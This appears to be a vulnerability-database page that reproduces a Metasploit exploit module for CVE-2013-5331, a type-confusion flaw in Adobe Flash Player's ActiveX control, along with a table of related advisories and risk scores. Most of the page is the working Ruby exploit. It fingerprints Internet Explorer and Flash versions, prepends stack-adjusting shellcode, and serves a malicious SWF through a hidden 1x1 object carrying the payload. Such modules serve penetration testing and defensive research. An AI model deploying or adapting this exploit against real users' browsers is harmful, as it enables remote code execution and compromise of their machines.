Adobe Flash Player - Type Confusion Remote Code Execution (Metasploit)

🗓️ 29 Apr 2014 00:00:00Reported by MetasploitType

Adobe Flash Player Type Confusion Remote Code Execution vulnerability exploited in the ActiveX component, affecting IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1

Reporter	Title	Published	Views	Family All 44
0day.today	Adobe Flash Player Type Confusion Remote Code Execution Exploit	29 Apr 201400:00	–	zdt
Tenable Nessus	Adobe AIR <= AIR 3.9.0.1210 Multiple Vulnerabilities (APSB13-28)	11 Dec 201300:00	–	nessus
Tenable Nessus	Flash Player <= 11.7.700.252 / 11.9.900.152 Multiple Vulnerabilities (APSB13-28)	11 Dec 201300:00	–	nessus
Tenable Nessus	GLSA-201402-06 : Adobe Flash Player: Multiple vulnerabilities	7 Feb 201400:00	–	nessus
Tenable Nessus	Adobe AIR for Mac <= 3.9.0.1210 Multiple Vulnerabilities (APSB13-28)	11 Dec 201300:00	–	nessus
Tenable Nessus	Flash Player for Mac <= 11.7.700.252 / 11.9.900.152 Multiple Vulnerabilities (APSB13-28)	11 Dec 201300:00	–	nessus
Tenable Nessus	openSUSE Security Update : flash-player (openSUSE-SU-2013:1915-1)	13 Jun 201400:00	–	nessus
Tenable Nessus	RHEL 5 / 6 : flash-plugin (RHSA-2013:1818)	12 Dec 201300:00	–	nessus
Tenable Nessus	MS KB2907997: Update for Vulnerabilities in Adobe Flash Player in Internet Explorer 10	11 Dec 201300:00	–	nessus
Tenable Nessus	SuSE 11.2 / 11.3 Security Update : flash-player (SAT Patch Numbers 8639 / 8640)	17 Dec 201300:00	–	nessus

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Type Confusion Remote Code Execution",
      'Description'    => %q{
        This module exploits a type confusion vulnerability found in the ActiveX
        component of Adobe Flash Player. This vulnerability was found exploited
        in the wild in November 2013. This module has been tested successfully
        on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
        over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'bannedit', # Exploit in the wild discoverer, analysis and reporting
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-5331' ],
          [ 'OSVDB', '100774'],
          [ 'BID', '64199'],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
          [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false,
          'EXITFUNC'             => "thread"
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 10 2013",
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    print_status("showme the money")
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")


    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=flash_payload%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

29 Apr 2014 00:00Current

6.8Medium risk

Vulners AI Score6.8

CVSS 29.3

EPSS0.8737